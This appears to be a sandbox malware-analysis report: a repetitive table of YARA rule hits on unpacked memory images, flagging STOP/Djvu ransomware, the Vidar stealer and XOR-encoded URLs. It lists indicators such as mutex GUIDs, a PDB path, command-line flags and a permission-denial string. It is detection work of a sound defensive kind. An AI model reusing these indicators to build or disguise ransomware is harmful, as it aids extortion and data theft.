17.0.U59WtZz2Sg.exe.400000.4.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
17.0.U59WtZz2Sg.exe.400000.4.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
10.0.build2.exe.400000.10.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
5.0.U59WtZz2Sg.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
9.0.U59WtZz2Sg.exe.400000.10.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
9.0.U59WtZz2Sg.exe.400000.10.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
9.0.U59WtZz2Sg.exe.400000.10.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
9.0.U59WtZz2Sg.exe.400000.10.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
9.0.U59WtZz2Sg.exe.400000.8.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
9.0.U59WtZz2Sg.exe.400000.8.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
9.0.U59WtZz2Sg.exe.400000.8.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
9.0.U59WtZz2Sg.exe.400000.8.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
17.0.U59WtZz2Sg.exe.400000.3.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
5.0.U59WtZz2Sg.exe.400000.8.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
5.0.U59WtZz2Sg.exe.400000.8.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
5.0.U59WtZz2Sg.exe.400000.8.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
5.0.U59WtZz2Sg.exe.400000.8.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
9.0.U59WtZz2Sg.exe.400000.7.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
9.0.U59WtZz2Sg.exe.400000.7.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
9.0.U59WtZz2Sg.exe.400000.7.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
9.0.U59WtZz2Sg.exe.400000.7.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
10.0.build2.exe.400000.7.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
5.0.U59WtZz2Sg.exe.400000.6.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
5.0.U59WtZz2Sg.exe.400000.6.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
5.0.U59WtZz2Sg.exe.400000.6.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
5.0.U59WtZz2Sg.exe.400000.6.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
6.0.U59WtZz2Sg.exe.400000.7.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
6.0.U59WtZz2Sg.exe.400000.7.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
10.0.build2.exe.400000.5.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
6.0.U59WtZz2Sg.exe.400000.7.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
6.0.U59WtZz2Sg.exe.400000.7.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
7.2.U59WtZz2Sg.exe.21a15a0.1.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
7.2.U59WtZz2Sg.exe.21a15a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
7.2.U59WtZz2Sg.exe.21a15a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
7.2.U59WtZz2Sg.exe.21a15a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
7.2.U59WtZz2Sg.exe.21a15a0.1.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xdf7ea:$s1: http:// 0xfd898:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xfdf28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xfdf4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101b2b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xffa26:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xdf7ea:$f1: http://
7.2.U59WtZz2Sg.exe.21a15a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
7.2.U59WtZz2Sg.exe.21a15a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
7.2.U59WtZz2Sg.exe.21a15a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
5.0.U59WtZz2Sg.exe.400000.3.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
17.0.U59WtZz2Sg.exe.400000.8.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
17.0.U59WtZz2Sg.exe.400000.8.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
17.0.U59WtZz2Sg.exe.400000.8.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
17.0.U59WtZz2Sg.exe.400000.8.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
17.2.U59WtZz2Sg.exe.400000.0.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
17.2.U59WtZz2Sg.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
17.2.U59WtZz2Sg.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
17.2.U59WtZz2Sg.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
9.0.U59WtZz2Sg.exe.400000.5.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
8.2.build2.exe.20d15a0.1.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
5.0.U59WtZz2Sg.exe.400000.9.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
5.0.U59WtZz2Sg.exe.400000.9.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
5.0.U59WtZz2Sg.exe.400000.9.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
5.0.U59WtZz2Sg.exe.400000.9.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
10.0.build2.exe.400000.7.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
1.0.U59WtZz2Sg.exe.400000.10.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
1.0.U59WtZz2Sg.exe.400000.10.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
1.0.U59WtZz2Sg.exe.400000.10.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
1.0.U59WtZz2Sg.exe.400000.10.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
1.0.U59WtZz2Sg.exe.400000.5.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
5.2.U59WtZz2Sg.exe.400000.0.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
5.2.U59WtZz2Sg.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
5.2.U59WtZz2Sg.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
5.2.U59WtZz2Sg.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
1.0.U59WtZz2Sg.exe.400000.7.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
1.0.U59WtZz2Sg.exe.400000.7.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
